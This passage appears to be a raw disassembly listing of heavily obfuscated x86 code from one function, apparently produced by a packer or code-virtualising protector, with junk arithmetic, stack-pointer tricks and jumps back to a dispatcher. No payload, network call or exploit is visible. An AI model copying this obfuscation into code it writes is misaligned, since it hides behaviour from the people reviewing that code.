ebx, 4 jmp loc_592A84 ; --------------------------------------------------------------------------- loc_59B18E: ; CODE XREF: sub_57DD3A+166D8j push ebp push 29F077F6h pop ebp sub edx, 277B067Ah sub edx, 5DF156D7h add edx, ebp add edx, 5DF156D7h add edx, 277B067Ah pop ebp jmp loc_59A8E4 ; --------------------------------------------------------------------------- loc_59B1B5: ; CODE XREF: sub_57DD3A+1C10Dj sub ecx, 45E879FBh add ecx, ebx add ecx, 45E879FBh jmp loc_5A246D ; --------------------------------------------------------------------------- loc_59B1C8: ; CODE XREF: sub_57DD3A+149CAj dec ecx neg ecx and ecx, 3D9F3799h sub ecx, 380AFFFCh mov ebx, ecx pop ecx jmp loc_59F720 ; --------------------------------------------------------------------------- loc_59B1DF: ; CODE XREF: sub_57DD3A+19063j pop bx jmp loc_59DB3C ; --------------------------------------------------------------------------- loc_59B1E6: ; CODE XREF: sub_57DD3A+1561Dj mov edx, [esp+10h+var_12+2] add esp, 4 pop ecx sub esp, 2 mov word ptr [esp+0Ch+var_E+2], cx mov ch, 0C2h add bl, ch pop cx push 3633h jmp loc_59E2E8 ; --------------------------------------------------------------------------- loc_59B207: ; CODE XREF: sub_57DD3A+13FBAj sub esp, 4 mov [esp+0], eax jmp loc_5971B2 ; --------------------------------------------------------------------------- loc_59B212: ; CODE XREF: sub_57DD3A+1207Aj push eax mov eax, 72F80778h jmp loc_597698 ; --------------------------------------------------------------------------- loc_59B21D: ; CODE XREF: sub_57DD3A+10DCAj add ebp, 151319Eh mov edi, [esp+14h+var_16+2] add esp, 4 xor ebp, [esp+10h+var_12+2] xor [esp+10h+var_12+2], ebp xor ebp, [esp+10h+var_12+2] pop esp and eax, edx push [esp+0Ch+var_E+2] mov edx, [esp+10h+var_12+2] add esp, 4 add esp, 4 or eax, eax jz loc_59A982 push dword ptr [edi+28h] xor [esp+0Ch+var_E+2], 6C334CF2h push [esp+0Ch+var_E+2] jmp loc_59349D ; --------------------------------------------------------------------------- loc_59B261: ; CODE XREF: sub_57DD3A+22910j xor ch, 2Fh push cx mov ch, 0E3h jmp loc_5A0016 ; --------------------------------------------------------------------------- loc_59B26D: ; CODE XREF: sub_57DD3A+1C4ADj mov esp, [esp+0] mov [esp+0], ecx push [esp+arg_0] push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+8+var_8] pop esp jmp loc_598C25 ; --------------------------------------------------------------------------- loc_59B298: ; CODE XREF: sub_57DD3A+14D45j add ebp, 62584D54h push [esp+2+var_4+2] pop edx add esp, 4 push ecx mov ecx, 2 add ebp, ecx pop ecx xchg ebp, [esp+0] mov esp, [esp+0] btc [esp+0], ax pushf jmp loc_594636 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59B2C7: ; CODE XREF: sub_57DD3A+24585j mov eax, 1B73511Eh sub eax, 0AF060A4Bh jmp loc_5948E3 ; --------------------------------------------------------------------------- loc_59B2D6: ; CODE XREF: sub_57DD3A+21241j mov edi, 102A6FF8h dec edi inc edi shr edi, 3 xor edi, 5DBA074Ah jmp loc_594B8E ; --------------------------------------------------------------------------- loc_59B2EB: ; CODE XREF: sub_57DD3A+1B120j add ebp, 280F1DB3h sub ebp, edx jmp loc_59241E ; --------------------------------------------------------------------------- loc_59B2F8: ; CODE XREF: sub_57DD3A+147D3j push 1D3Dh mov [esp+58h+var_58], ebx jmp loc_5957AC ; --------------------------------------------------------------------------- loc_59B305: ; CODE XREF: sub_57DD3A+20D18j xor dl, 0E0h push eax mov ah, dl mov bl, ah pop eax jmp loc_599D47 ; --------------------------------------------------------------------------- loc_59B313: ; CODE XREF: sub_57DD3A+155ADj add esp, 4 sub esp, 4 mov [esp], edx mov edx, 13CD2D82h shr edx, 2 jmp loc_58F956 ; --------------------------------------------------------------------------- loc_59B329: ; CODE XREF: sub_57DD3A+1F122j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-4+arg_0] pop esp add ecx, 4 push 31B6h mov [esp-4+arg_0], ebx mov ebx, 4 jmp loc_599D6E ; --------------------------------------------------------------------------- loc_59B351: ; CODE XREF: sub_57DD3A+1BBA5j mov [esp+3Ch+var_3E+2], edx mov edx, 4 sub [esp+3Ch+var_3A+2], 1634CCAh jmp loc_5900EE ; --------------------------------------------------------------------------- loc_59B366: ; CODE XREF: sub_57DD3A+153FBj push edi mov edi, 332A02AAh sub ecx, edi jmp loc_59FA50 ; --------------------------------------------------------------------------- loc_59B373: ; CODE XREF: sub_57DD3A+112B4j push small word ptr [esp+48h+var_46] jmp loc_59DD61 ; --------------------------------------------------------------------------- loc_59B37D: ; CODE XREF: sub_57DD3A+11534j push eax mov eax, 92A07DAh add ebp, 688E1699h jmp loc_5A10EB ; --------------------------------------------------------------------------- loc_59B38E: ; CODE XREF: sub_57DD3A+21F11j pop esp and eax, ecx push [esp+10h+var_12+2] mov ecx, [esp+14h+var_16+2] add esp, 4 add esp, 4 shr eax, 8 xor eax, ecx sub esp, 4 mov [esp+10h+var_12+2], edx push esp pop edx push ebp push 62F10482h mov ebp, [esp+18h+var_1A+2] jmp loc_58F514 ; --------------------------------------------------------------------------- loc_59B3BE: ; CODE XREF: sub_57DD3A+1F3A3j mov esi, 0F1CDDB18h add ebx, esi pop esi mov eax, ebx jmp loc_5939B1 ; --------------------------------------------------------------------------- loc_59B3CD: ; CODE XREF: sub_57DD3A+1EBA1j pop eax not ebp inc ebp jmp loc_5A1A5E ; --------------------------------------------------------------------------- loc_59B3D6: ; CODE XREF: sub_57DD3A+109E5j sub edi, 4 xchg edi, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], ecx sub esp, 4 mov [esp+14h+var_16+2], esp add [esp+14h+var_16+2], 4 push [esp+14h+var_16+2] pop ecx add esp, 4 jmp loc_597580 ; --------------------------------------------------------------------------- loc_59B3F9: ; CODE XREF: sub_57DD3A+1069Cj and ebp, 228E1E35h push esi push ebp jmp loc_593E4D ; --------------------------------------------------------------------------- loc_59B406: ; CODE XREF: sub_57DD3A+13B0Aj mov [esp+60h+var_60], eax mov eax, 2C9974B1h inc eax push esi push ebx push edx mov edx, 52CD4127h mov ebx, edx pop edx jmp loc_59A675 ; --------------------------------------------------------------------------- loc_59B41F: ; CODE XREF: sub_57DD3A+15002j push edi mov edi, 4FE9393Ah xor edx, edi mov edi, [esp+2Ch+var_2E+2] jmp loc_590890 ; --------------------------------------------------------------------------- loc_59B42F: ; CODE XREF: sub_57DD3A+1D840j pop esp mov [esp+28h+var_2A+2], ebx not byte ptr [esp+28h+var_2A+3] pop ebx jmp loc_58E89D ; --------------------------------------------------------------------------- loc_59B43D: ; CODE XREF: sub_57DD3A+1A68Aj mov edi, edx jmp loc_599675 ; --------------------------------------------------------------------------- loc_59B444: ; CODE XREF: sub_57DD3A+1F909j sub [esp+54h+var_50], ebp pop ebp add [esp+50h+var_50], eax add [esp+50h+var_50], 700E2851h sub [esp+50h+var_50], 6A3C600Bh add [esp+50h+var_50], 18BD58F4h push esi sub esp, 4 jmp loc_59B784 ; --------------------------------------------------------------------------- loc_59B46A: ; CODE XREF: sub_57DD3A+19AAEj xor ecx, [esp+5Eh+var_60+2] xor [esp+5Eh+var_60+2], ecx xor ecx, [esp+5Eh+var_60+2] jmp loc_58F908 ; --------------------------------------------------------------------------- loc_59B478: ; CODE XREF: sub_57DD3A+168BFj sub esp, 4 jmp loc_59604D ; --------------------------------------------------------------------------- loc_59B480: ; CODE XREF: sub_57DD3A+1FC16j xor ecx, 0C8158E4h not ecx shl ecx, 3 shr ecx, 1 push esi mov esi, 0FFCC80E4h sub ecx, esi jmp loc_59DF48 ; --------------------------------------------------------------------------- loc_59B49A: ; CODE XREF: sub_57DD3A+13265j or eax, 78D0838h inc eax jmp loc_593C50 ; --------------------------------------------------------------------------- loc_59B4A5: ; CODE XREF: sub_57DD3A+11692j push esi push 2 pop esi add edx, esi jmp loc_59CCD2 ; --------------------------------------------------------------------------- lodsb jmp loc_5A0C70 ; --------------------------------------------------------------------------- loc_59B4B9: ; CODE XREF: sub_57DD3A+1E1DDj mov ecx, 1BF9142Fh sub esi, ecx pop ecx jmp loc_5A25E8 ; --------------------------------------------------------------------------- loc_59B4C6: ; CODE XREF: sub_57DD3A+12EF4j pop edx pop edi push 4E2Dh mov [esp+54h+var_54], edx jmp loc_592A0B ; --------------------------------------------------------------------------- loc_59B4D5: ; CODE XREF: sub_57DD3A+25587j pop edx jmp loc_59C7A4 ; --------------------------------------------------------------------------- loc_59B4DB: ; CODE XREF: sub_57DD3A+1F80Cj add esp, 4 sub eax, 4 push eax push [esp+50h+var_4C] pop eax jmp loc_593C02 ; --------------------------------------------------------------------------- loc_59B4EE: ; CODE XREF: sub_57DD3A+178F3j mov [esp+22h+var_22], ecx mov ecx, esp sub esp, 4 mov [esp+26h+var_26], eax sub esp, 4 jmp loc_58E8DF ; --------------------------------------------------------------------------- loc_59B501: ; CODE XREF: sub_57DD3A+19326j pop eax add eax, ebp pop ebp pop edi xor eax, [esp-0Ch+arg_6+2] xor [esp-0Ch+arg_6+2], eax xor eax, [esp-0Ch+arg_6+2] mov esp, [esp-0Ch+arg_6+2] shr byte ptr [esp-0Ch+arg_6+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59B51B: ; CODE XREF: sub_57DD3A+21149j sub ch, 0A6h sub ch, 0C3h add ch, bl jmp loc_58E97F ; --------------------------------------------------------------------------- loc_59B528: ; CODE XREF: sub_57DD3A+221A5j add bl, al push small 7E11h mov word ptr [esp-6+arg_0+2], ax mov ah, 0E8h add bl, 54h add bl, ah sub bl, 54h mov ax, word ptr [esp-6+arg_0+2] add esp, 2 push 76F9h jmp loc_59E103 ; --------------------------------------------------------------------------- loc_59B550: ; CODE XREF: sub_57DD3A+184C6j mov [esp+3Ah+var_3A], edx jmp loc_592B3D ; --------------------------------------------------------------------------- loc_59B558: ; CODE XREF: sub_57DD3A+226EAj add edi, 2 jmp loc_5985F4 ; --------------------------------------------------------------------------- loc_59B560: ; CODE XREF: sub_57DD3A+1E147j mov edx, [esp+3Ah+var_3A] add esp, 4 push edx push esp pop edx add edx, 4 jmp loc_5A1EAF ; --------------------------------------------------------------------------- loc_59B577: ; CODE XREF: sub_57DD3A+1EC98j xchg ebp, [esp+3Ah+var_3A] jmp loc_59B42F ; --------------------------------------------------------------------------- loc_59B57F: ; CODE XREF: sub_57DD3A+1952Ej mov ecx, [esp+36h+var_36] add esp, 4 neg ecx shr ecx, 3 jmp loc_59B04E ; --------------------------------------------------------------------------- loc_59B592: ; CODE XREF: sub_57DD3A+24C79j mov [esp+32h+var_32], ebx mov bh, 0E5h mov al, bh jmp loc_59B138 ; --------------------------------------------------------------------------- loc_59B59E: ; CODE XREF: sub_57DD3A+22409j add edi, 4 xchg edi, [esp+32h+var_32] mov esp, [esp+32h+var_32] push eax mov ah, cl sub esp, 4 mov [esp+3Ah+var_3A], edx mov dl, ah mov [edi+28h], dl jmp loc_5949E1 ; --------------------------------------------------------------------------- loc_59B5BD: ; CODE XREF: sub_57DD3A+16045j xor edx, 0B0122Eh shr edx, 2 xchg eax, edx not eax xchg eax, edx xor edx, 16B631DDh jmp loc_59B9F5 ; --------------------------------------------------------------------------- loc_59B5D5: ; CODE XREF: sub_57DD3A+20C47j mov edx, 3722395Bh sub edx, 1A4F6094h jmp loc_58FA2E ; --------------------------------------------------------------------------- loc_59B5E5: ; CODE XREF: sub_57DD3A+1953Cj push [esp+36h+var_36] pop ebp add esp, 4 add edi, 4 jmp loc_59A54E ; --------------------------------------------------------------------------- loc_59B5F7: ; CODE XREF: sub_57DD3A+1BD19j push ebx not byte ptr [esp+4Ch+var_4C+1] pop ebx jmp loc_59C9A1 ; --------------------------------------------------------------------------- loc_59B602: ; CODE XREF: sub_57DD3A+1799Fj mov esi, esp jmp loc_599C4E ; --------------------------------------------------------------------------- loc_59B609: ; CODE XREF: sub_57DD3A+17098j shl esi, 1 push 5A29h jmp loc_592DFD ; --------------------------------------------------------------------------- loc_59B615: ; CODE XREF: sub_57DD3A+11CDEj neg al sub al, 1 sub al, 0C6h shl al, 2 xor al, 0A0h jmp loc_5909F8 ; --------------------------------------------------------------------------- loc_59B625: ; CODE XREF: sub_57DD3A+19E92j neg esi jmp loc_59CCDE ; --------------------------------------------------------------------------- loc_59B62C: ; CODE XREF: sub_57DD3A+1847Aj mov edx, 6B6568B6h add eax, edx push [esp+6+var_8+2] jmp loc_593B56 ; --------------------------------------------------------------------------- loc_59B63B: ; CODE XREF: sub_57DD3A+112D6j add edi, 4 xor edi, [esp+40h+var_42+2] xor [esp+40h+var_42+2], edi xor edi, [esp+40h+var_42+2] pop esp add bl, al sub esp, 4 jmp loc_5A1F41 ; --------------------------------------------------------------------------- loc_59B655: ; CODE XREF: sub_57DD3A+1FA29j pop esi push eax mov eax, 61320DCAh dec eax not eax jmp loc_5A308D ; --------------------------------------------------------------------------- loc_59B664: ; CODE XREF: sub_57DD3A+13FC8j mov edx, 461C7872h jmp loc_5919E2 ; --------------------------------------------------------------------------- loc_59B66E: ; CODE XREF: sub_57DD3A+1F296j mov ebp, 0FBB72317h jmp loc_5A2D45 ; --------------------------------------------------------------------------- loc_59B678: ; CODE XREF: sub_57DD3A+111D4j xor edx, 35C9DE6h add edi, edx pop edx add edi, 2 jmp loc_593D1D ; --------------------------------------------------------------------------- loc_59B689: ; CODE XREF: sub_57DD3A+22BA7j pop ax sub ch, dl pop edx push 4D02h mov [esp+30h+var_32+2], ecx push ebx mov bh, 90h push dx mov dh, 0C0h xor bh, dh pop dx mov ch, bh mov ebx, [esp+34h+var_36+2] jmp loc_5A177A ; --------------------------------------------------------------------------- loc_59B6AB: ; CODE XREF: sub_57DD3A+173C1j push 7EAE0326h pop ebx jmp loc_599C99 ; --------------------------------------------------------------------------- lodsb push ecx mov cl, 0FAh push eax jmp loc_5988EA ; --------------------------------------------------------------------------- loc_59B6C0: ; CODE XREF: sub_57DD3A+1BD8Ej mov ebx, [esp+0] add esp, 4 add ah, 68h add bl, ah push [esp-6+arg_0+2] mov eax, [esp+0] add esp, 4 jmp loc_58F348 ; --------------------------------------------------------------------------- loc_59B6DF: ; CODE XREF: sub_57DD3A+15842j add esp, 4 push 61CAh mov [esp+5Ch+var_5C], ebp push esp pop ebp push edi jmp loc_58F8E2 ; --------------------------------------------------------------------------- loc_59B6F5: ; CODE XREF: sub_57DD3A+1F18Ej inc ebx and ebx, 0CE51ADBh shr ebx, 8 push ecx mov ecx, 215D0AD4h xor ebx, ecx pop ecx add edx, ebx pop ebx jmp loc_59A379 ; --------------------------------------------------------------------------- loc_59B710: ; CODE XREF: sub_57DD3A+11B2Dj push edx jmp loc_590EAB ; --------------------------------------------------------------------------- loc_59B716: ; CODE XREF: sub_57DD3A+21D11j not esi sub esi, 0AB960877h sub ecx, esi jmp loc_593B7D ; --------------------------------------------------------------------------- loc_59B725: ; CODE XREF: sub_57DD3A+173FDj xor ebx, [esp+60h+var_60] jmp loc_5A0678 ; --------------------------------------------------------------------------- loc_59B72D: ; CODE XREF: sub_57DD3A+1C829j push esi mov esi, 11C918CAh sub edi, 99D0F40h jmp loc_59E4FD ; --------------------------------------------------------------------------- loc_59B73E: ; CODE XREF: sub_57DD3A+1A76Fj push [esp+70h+var_70] mov ecx, [esp+74h+var_74] jmp loc_5A2C59 ; --------------------------------------------------------------------------- loc_59B749: ; CODE XREF: sub_57DD3A+1782Aj mov [esp+54h+var_54], edx push [esp+54h+var_50] push [esp+58h+var_58] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+5Ch+var_5C] jmp loc_59AD48 ; --------------------------------------------------------------------------- loc_59B768: ; CODE XREF: sub_57DD3A+17118j add ah, 0ABh xor ah, 2Bh add ch, ah pop ax jmp loc_59140D ; --------------------------------------------------------------------------- loc_59B777: ; CODE XREF: sub_57DD3A+16CB5j mov ebp, esp add ebp, 4 jmp loc_59355F ; --------------------------------------------------------------------------- loc_59B784: ; CODE XREF: sub_57DD3A+1D72Bj mov [esp+58h+var_58], ebp push 2F250B7Ch mov ebp, [esp+5Ch+var_5C] add esp, 4 push eax mov eax, 386377C6h add ebp, eax pop eax shl ebp, 4 push 538Eh mov [esp+5Ch+var_5C], eax mov eax, 0F2870B96h add ebp, eax pop eax mov esi, ebp pop ebp add [esp+54h+var_50], esi jmp loc_590A2D ; --------------------------------------------------------------------------- loc_59B7BA: ; CODE XREF: sub_57DD3A+220D6j add esp, 4 jmp loc_5A135D ; --------------------------------------------------------------------------- loc_59B7C2: ; CODE XREF: sub_57DD3A+14176j mov ax, word ptr [esp+8+var_8] push 2552h mov [esp+0Ch+var_E+2], ebp jmp loc_596AD3 ; --------------------------------------------------------------------------- loc_59B7D3: ; CODE XREF: sub_57DD3A+139CBj add esi, 2F103CE5h jmp loc_59CE3B ; --------------------------------------------------------------------------- loc_59B7DE: ; CODE XREF: sub_57DD3A+1443Dj xchg ebx, edx pop ebx dec edx sub edx, 232160ADh sub edx, 3D19B09Ch add eax, 66FA42EDh add eax, edx sub eax, 66FA42EDh pop edx jmp loc_59C2B6 ; --------------------------------------------------------------------------- loc_59B800: ; CODE XREF: sub_57DD3A+1EC7Aj mov edi, 54F44BDEh or edi, 3E2C6077h shr edi, 8 shr edi, 6 shl edi, 4 neg edi xor edi, 0F29259ABh sub eax, edi pop edi sub eax, 2F405EB5h push 199h mov [esp-6+arg_0+2], ebp mov ebp, 2B81480Ah add eax, ebp pop ebp push esi mov esi, 243E3392h add eax, 4C6638CBh add eax, esi sub eax, 4C6638CBh pop esi mov ecx, [esp-0Ah+arg_6] add esp, 4 jmp loc_596F99 ; --------------------------------------------------------------------------- loc_59B852: ; CODE XREF: sub_57DD3A+218A4j sub ecx, 312F1B25h neg ecx inc ecx shl ecx, 5 neg ecx push esi mov esi, 59BF9FB9h add ecx, esi pop esi jmp loc_597511 ; --------------------------------------------------------------------------- loc_59B86E: ; CODE XREF: sub_57DD3A+1D2BDj push ebp push [esp+12h+var_E] pop ebp jmp loc_592AF4 ; --------------------------------------------------------------------------- loc_59B879: ; CODE XREF: sub_57DD3A+22929j pop eax sub edx, ebp pop ebp sub edx, 4D8E2801h jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59B888: ; CODE XREF: sub_57DD3A+21AFEj mov ebx, 4 add eax, ebx jmp loc_59A55C ; --------------------------------------------------------------------------- loc_59B894: ; CODE XREF: sub_57DD3A+17C60j pop edx jmp loc_58F795 ; --------------------------------------------------------------------------- loc_59B89A: ; CODE XREF: sub_57DD3A+16E2Fj push ecx mov ecx, 4 add eax, ecx pop ecx sub eax, 4 xchg eax, [esp+7Ah+var_7C+2] pop esp jmp loc_599B4A ; --------------------------------------------------------------------------- loc_59B8AF: ; CODE XREF: sub_57DD3A+1C7B0j add esp, 4 xor esi, [esp+50h+var_50] xor [esp+50h+var_50], esi xor esi, [esp+50h+var_50] mov esp, [esp+50h+var_50] ror [esp+50h+var_50], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59B8CA: ; CODE XREF: sub_57DD3A+11436j sub edx, 70D379D5h add edx, esi add edx, 70D379D5h mov esi, [esp+4Eh+var_50+2] add esp, 4 sub edx, 4 xor edx, [esp+4Ah+var_4C+2] jmp loc_58EAB4 ; --------------------------------------------------------------------------- loc_59B8EC: ; CODE XREF: sub_57DD3A+1A4D3j mov ecx, 468F34E3h sub ecx, 2FB05028h push edx mov edx, 75D44FC2h or edx, 67D6798h shl edx, 3 jmp loc_590AF7 ; --------------------------------------------------------------------------- loc_59B90B: ; CODE XREF: sub_57DD3A+16894j pop ebp jmp loc_59CD3E ; --------------------------------------------------------------------------- loc_59B911: ; CODE XREF: sub_57DD3A+11FFFj sub ebp, 4 xchg ebp, [esp+2Eh+var_2E] pop esp mov [esp+2Ah+var_2A], eax push 5CD4h mov [esp+2Eh+var_2E], ecx push 7DE0h mov [esp+32h+var_32], ebp push 61C27C92h jmp loc_59FDAA ; --------------------------------------------------------------------------- mov ax, word ptr [esp+36h+var_36] push ebp push esp pop ebp add ebp, 4 sub esp, 4 mov [esp+3Eh+var_3E], edx push 46B357B9h mov edx, [esp+42h+var_42] add esp, 4 push ebx mov ebx, 1 sub edx, ebx mov ebx, [esp+42h+var_42] add esp, 4 push 0 sub [esp+42h+var_42], edx jmp loc_593CEE ; --------------------------------------------------------------------------- loc_59B971: ; CODE XREF: sub_57DD3A+1A9D4j mov esp, [esp+78h+var_78] imul ecx push 3767h jmp loc_59F673 ; --------------------------------------------------------------------------- loc_59B980: ; CODE XREF: sub_57DD3A+1E9E5j sub ebp, eax pop eax mov eax, ebp mov ebp, [esp+78h+var_78] add esp, 4 jmp loc_5A28CE ; --------------------------------------------------------------------------- loc_59B990: ; CODE XREF: sub_57DD3A+13D02j add [esp+16h+var_12], 26E52447h add [esp+16h+var_12], 5DB23B3Fh sub [esp+16h+var_12], 3A2D7B7Dh add [esp+16h+var_12], edx add [esp+16h+var_12], 3A2D7B7Dh jmp loc_58F07C ; --------------------------------------------------------------------------- loc_59B9B9: ; CODE XREF: sub_57DD3A+19CBBj mov esp, [esp+0] mov [esp+0], esi mov esi, 68A4227Fh sub eax, esi push dword ptr [esp+0] mov esi, [esp+4+var_4] jmp loc_5A106A ; --------------------------------------------------------------------------- loc_59B9D1: ; CODE XREF: sub_57DD3A+22EBBj push ecx mov ecx, 76BB70D8h xor ecx, 19A3384Ch dec ecx xor ecx, 6F184897h jmp loc_58F532 ; --------------------------------------------------------------------------- loc_59B9E9: ; CODE XREF: sub_57DD3A+23AE0j pop ecx add bh, 36h add bh, 0ACh jmp loc_595DF3 ; --------------------------------------------------------------------------- loc_59B9F5: ; CODE XREF: sub_57DD3A+1D896j xor edx, 0CE8DF393h sub eax, edx push [esp-4+arg_0] mov edx, [esp+0] jmp loc_5A0566 ; --------------------------------------------------------------------------- loc_59BA08: ; CODE XREF: sub_57DD3A+190D6j mov edx, esp add edx, 4 push esi push edx jmp loc_59E978 ; --------------------------------------------------------------------------- loc_59BA17: ; CODE XREF: sub_57DD3A+1318Bj mov ecx, 4 add eax, ecx pop ecx push ebp jmp loc_599D79 ; --------------------------------------------------------------------------- loc_59BA25: ; CODE XREF: sub_57DD3A+17ECFj push [esp+0Ch+var_E+2] jmp loc_59761B ; --------------------------------------------------------------------------- loc_59BA2D: ; CODE XREF: sub_57DD3A+1EE4Dj push eax push esp push [esp+18h+var_1A+2] pop eax add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+18h+var_1A+2] pop esp mov [esp+14h+var_16+2], ecx mov ecx, 4 push ebp push edx sub esp, 4 mov [esp+20h+var_22+2], edi jmp loc_590C21 ; --------------------------------------------------------------------------- loc_59BA64: ; CODE XREF: sub_57DD3A+211BBj sub esp, 4 mov [esp+24h+var_26+2], esi mov esi, 0 mov eax, esi jmp loc_5951E2 ; --------------------------------------------------------------------------- loc_59BA79: ; CODE XREF: sub_57DD3A+19382j push 3DCD32B6h pop esi or esi, 7A355693h or esi, 6D1D5296h inc esi xor esi, 14981E0Eh mov ebp, esi mov esi, [esp+3Ah+var_3A] add esp, 4 sub esp, 4 mov [esp+3Ah+var_3A], ebp mov ebp, 60747550h add ebp, 0E8D7A679h sub eax, ebp jmp loc_5A2D9C ; --------------------------------------------------------------------------- loc_59BAB8: ; CODE XREF: sub_57DD3A+163D9j and cl, 26h shr cl, 5 add cl, 0ECh inc cl neg cl dec cl dec cl push edx mov dh, 6Fh jmp loc_5A0D1C ; --------------------------------------------------------------------------- loc_59BAD1: ; CODE XREF: sub_57DD3A+14500j xor ecx, 22052872h jmp loc_59FDB2 ; --------------------------------------------------------------------------- lodsd add eax, 3AAD1BF1h add eax, ebx push edi mov edi, 3AAD1BF1h push esi mov esi, 9D754F3h sub eax, esi pop esi push edx mov edx, 7D6A6B6Eh jmp loc_5A243D ; --------------------------------------------------------------------------- loc_59BAFE: ; CODE XREF: sub_57DD3A+1B86Aj sub ebp, 1F9E19B4h jmp loc_59A51C ; --------------------------------------------------------------------------- loc_59BB09: ; CODE XREF: sub_57DD3A+136E0j add esp, 4 push eax mov eax, 51090FBCh dec eax add eax, 0C387120h and eax, 2198642Bh push ebp jmp loc_59862A ; --------------------------------------------------------------------------- mov cx, word ptr [esp+2Eh+var_2E] jmp loc_5A0B6A ; --------------------------------------------------------------------------- loc_59BB2C: ; CODE XREF: sub_57DD3A+17FF0j push [esp+18h+var_1A+2] pop ecx push esi push esp jmp loc_58FA84 ; --------------------------------------------------------------------------- loc_59BB37: ; CODE XREF: sub_57DD3A+10FE2j push 63A8h mov [esp+26h+var_26], edx mov dl, 67h sub dl, 49h shl dl, 5 jmp loc_5A0AE2 ; --------------------------------------------------------------------------- loc_59BB4C: ; CODE XREF: sub_57DD3A+14A1Ej pop esp mov [esp+0], ebp jmp loc_597C25 ; --------------------------------------------------------------------------- loc_59BB55: ; CODE XREF: sub_57DD3A+1F848j xor bh, ah mov eax, [esp+0] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_58F77F ; --------------------------------------------------------------------------- loc_59BB6B: ; CODE XREF: sub_57DD3A+1822Ej mov eax, 14486B86h neg eax xor eax, 0AF98C601h or ebx, eax mov eax, [esp+2Eh+var_2E] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp+32h+var_32] jmp loc_59C853 ; --------------------------------------------------------------------------- loc_59BB90: ; CODE XREF: sub_57DD3A+13EABj mov edx, [esp+46h+var_46] add esp, 4 push 5359h mov [esp+46h+var_46], ecx mov ecx, 6D682484h jmp loc_5A2E6D ; --------------------------------------------------------------------------- loc_59BBA8: ; CODE XREF: sub_57DD3A+1D331j pop esi jmp loc_596321 ; --------------------------------------------------------------------------- loc_59BBAE: ; CODE XREF: sub_57DD3A+10D2Ej mov ebp, 8A4B650h add ebp, ecx mov ecx, [esp+20h+var_22+2] jmp loc_59E622 ; --------------------------------------------------------------------------- loc_59BBBD: ; CODE XREF: sub_57DD3A+235F2j push ebp push 15AFh mov [esp+28h+var_2A+2], ebx jmp loc_58EF6D ; --------------------------------------------------------------------------- loc_59BBCB: ; CODE XREF: sub_57DD3A+18D38j mov ebx, 0A5A70F58h add edi, ebx pop ebx mov ebx, edi pop edi add edi, ebx pop ebx jmp loc_590C81 ; --------------------------------------------------------------------------- loc_59BBDE: ; CODE XREF: sub_57DD3A+23F51j mov esp, [esp+8+var_8] mov [esp+8+var_8], ecx mov ecx, 773D51B1h push edx jmp loc_59028F ; --------------------------------------------------------------------------- sub esp, 4 mov [esp+10h+var_12+2], ebp jmp loc_59DC33 ; --------------------------------------------------------------------------- loc_59BBFA: ; CODE XREF: sub_57DD3A+23DDDj sub edx, 66822774h sub edx, 419D1FF8h jmp loc_596EB1 ; --------------------------------------------------------------------------- loc_59BC0B: ; CODE XREF: sub_57DD3A+1EF9Fj push edi mov edi, esp jmp loc_5909A7 ; --------------------------------------------------------------------------- loc_59BC13: ; CODE XREF: sub_57DD3A+23A6Cj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59BC18: ; CODE XREF: sub_57DD3A+241AEj push bx push small word ptr [esp+16h+var_16+2] pop bx jmp loc_58EA21 ; --------------------------------------------------------------------------- loc_59BC26: ; CODE XREF: sub_57DD3A+187C8j xchg esi, ebx jmp loc_596A3C ; --------------------------------------------------------------------------- loc_59BC2D: ; CODE XREF: sub_57DD3A+1CA39j push eax mov eax, 6B0F3FB6h add [esp+4Eh+var_4C+2], 3DF847E4h sub [esp+4Eh+var_4C+2], eax jmp loc_59A7A1 ; --------------------------------------------------------------------------- loc_59BC44: ; CODE XREF: sub_57DD3A+15EBBj add eax, edx push ebx mov ebx, 50066E28h sub ebx, 451C6318h jmp loc_5A1F4D ; --------------------------------------------------------------------------- loc_59BC57: ; CODE XREF: sub_57DD3A+1967Cj add esp, 4 add edi, 61470CBEh add edi, ecx sub edi, 61470CBEh add edi, 661A5806h mov ecx, [esp+60h+var_60] add esp, 4 sub esp, 4 mov [esp+60h+var_60], eax push ebx mov ebx, 2 jmp loc_58F597 ; --------------------------------------------------------------------------- loc_59BC8B: ; CODE XREF: sub_57DD3A+1BC18j sub ebp, 41274426h pop eax xor ebp, [esp+36h+var_36] jmp loc_596A05 ; --------------------------------------------------------------------------- loc_59BC9A: ; CODE XREF: sub_57DD3A+1E63Bj push 2BE42D67h pop edi not edi xor edi, 0D41BD299h mov ecx, edi jmp loc_590158 ; --------------------------------------------------------------------------- loc_59BCAF: ; CODE XREF: sub_57DD3A+16F81j sub eax, 28307AA5h add eax, edx add eax, 28307AA5h pop edx add eax, ecx jmp loc_5991F3 ; --------------------------------------------------------------------------- loc_59BCC3: ; CODE XREF: sub_57DD3A+12893j pop esi add ebp, edi jmp loc_592709 ; --------------------------------------------------------------------------- loc_59BCCB: ; CODE XREF: sub_57DD3A+1C5CAj pop ebp shr ebp, 5 xchg edi, ebp jmp loc_5A27B1 ; --------------------------------------------------------------------------- loc_59BCD6: ; CODE XREF: sub_57DD3A+20DB4j pop ebx sub eax, edx mov edx, [esp+6+var_8+2] add esp, 4 push esi mov esi, 2B81480Ah sub eax, esi pop esi push ecx mov ecx, 2F405EB5h jmp loc_59C9A9 ; --------------------------------------------------------------------------- loc_59BCF6: ; CODE XREF: sub_57DD3A+21511j push ecx mov ch, 32h sub al, ch mov ecx, [esp+0] push ecx mov ecx, esp jmp loc_59218A ; --------------------------------------------------------------------------- loc_59BD06: ; CODE XREF: sub_57DD3A+211D2j sub esi, 4 xchg esi, [esp+0Eh+var_E] pop esp jmp loc_5A16B5 ; --------------------------------------------------------------------------- loc_59BD12: ; CODE XREF: sub_57DD3A+16F32j 